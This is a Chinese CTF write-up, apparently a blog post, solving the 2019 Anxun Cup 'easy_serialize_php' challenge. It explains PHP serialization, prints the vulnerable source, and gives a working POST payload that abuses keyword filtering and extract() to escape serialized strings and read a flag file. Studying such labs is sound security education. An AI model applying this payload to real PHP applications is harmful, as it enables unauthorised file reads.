easy_serialize_php(反序列化字符逃逸)

前言

今天突然想起来代码审计好像很久没搞了,在网上找到了个2019的安洵杯的题目。题目的考点是反序列化字符逃逸,通过字符的逃逸我们才能拿到对应的flag值。

反序列化原理

我们要了解反序列化字符逃逸的原理,首先就要先了解反序列化的原理,我们先举个简单的例子帮助理解和分析。

<?php
	$img["one"] = "flag";
	$img["two"] = "test";
	$a = serialize($img);
	var_dump($a);
	$b = unserialize($a);
	var_dump($b);
?>

在这里插入图片描述首先我们先定义了一个img二维数组,序列化出来的数据是"a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"test";}",a表示的是array,是指两个数组对象,2表示有两个键值;s表示string即字符串,s对应的数值分别是3、4、3、4指的是one,flag,two,test对应的字符串长度。为了能更加清晰地表示各种字母在反序列化数组中对应的含义,这里整理出了一个表格(加粗表示出现频率较高):

字母含义
aarray数组
bbool判断类型
ddouble浮点数
iinteger整型
ocommon object 一般的对象
rreference引用类型
sstring字符串类型
Ccustom object
Oclass
Nnull
Rpointer reference
Uunicode string

题目源码

 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

其实我们忽略掉函数和$_SESSION部分的逻辑,只关注网络请求部分可简化为

$function = @$_GET['f'];

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

我们传入highlight_file参数时,程序将跳转到index.php页面;如果传入phpinfo参数时,将执行phpinfo函数输出对应的php环境变量值;如果传入show_image参数时,将反序列化$serialize_info对应的变量值,然后通过base64解码并读取$userinfo的img对应的值。

解题思路

明确代码的逻辑后,我们可以先传入phpinfo参数,查看到auto_append_file参数内存在一个文件名值d0g3_f1ag.php,很明显,我们要从这个文件中读取到flag值。
在这里插入图片描述根据最后那行代码我们知道,参数为show_image时是可以读取文件内容的,只要$userinfo[‘img’]是相应的flag.php的base64加密,然后通过解密就能获取到对应的flag值了。

我们继续观察这部分的代码,首先它会销毁我们的SESSION值,然后重新赋予一个新的SESSION值,最后调用了extract($_POST)。extract() 函数从数组中将变量导入到当前的符号表。

if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

意思就是说如果我们调用了这个extract() 函数的话,那么我们传入的POST变量就会覆盖掉我们原先定义的_SESSION变量值。

漏洞利用

因为序列化的字符串是严格的,对应的格式不能错,比如s:4:“name”,那s:4就必须有一个字符串长度是4的否则就往后要。并且unserialize会把多余的字符串当垃圾处理,在花括号内的就是正确的,花括号后面的就都被扔掉。举个例子

<?php
#正规序列化的字符串
$a = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";}";
var_dump(unserialize($a));
#带有多余的字符的字符串
$a_laji = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";};s:3:\"真的垃圾img\";lajilaji";
var_dump(unserialize($a_laji));

在这里插入图片描述搞懂了这个逻辑之后,那我们就可以构造我们利用的payload字符串了。这是我们POST要传入的数据_SESSION[flagflag]=";s:2:"h3";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";},URL地址的内容为http://054fdcd6-51eb-4de8-b2cb-a6defbf4534d.node4.buuoj.cn:81/index.php?f=show_image,查看源代码,发现flag值存在于/d0g3_fllllllag这个目录下

<?php

$flag = 'flag in /d0g3_fllllllag';

?>

我们对d0g3_fllllllag进行base64编码得到L2QwZzNfZmxsbGxsbGFn,长度刚好是20,替换掉POST数据中原来的字符串,得到flag值
在这里插入图片描述

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

平凡的学者

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值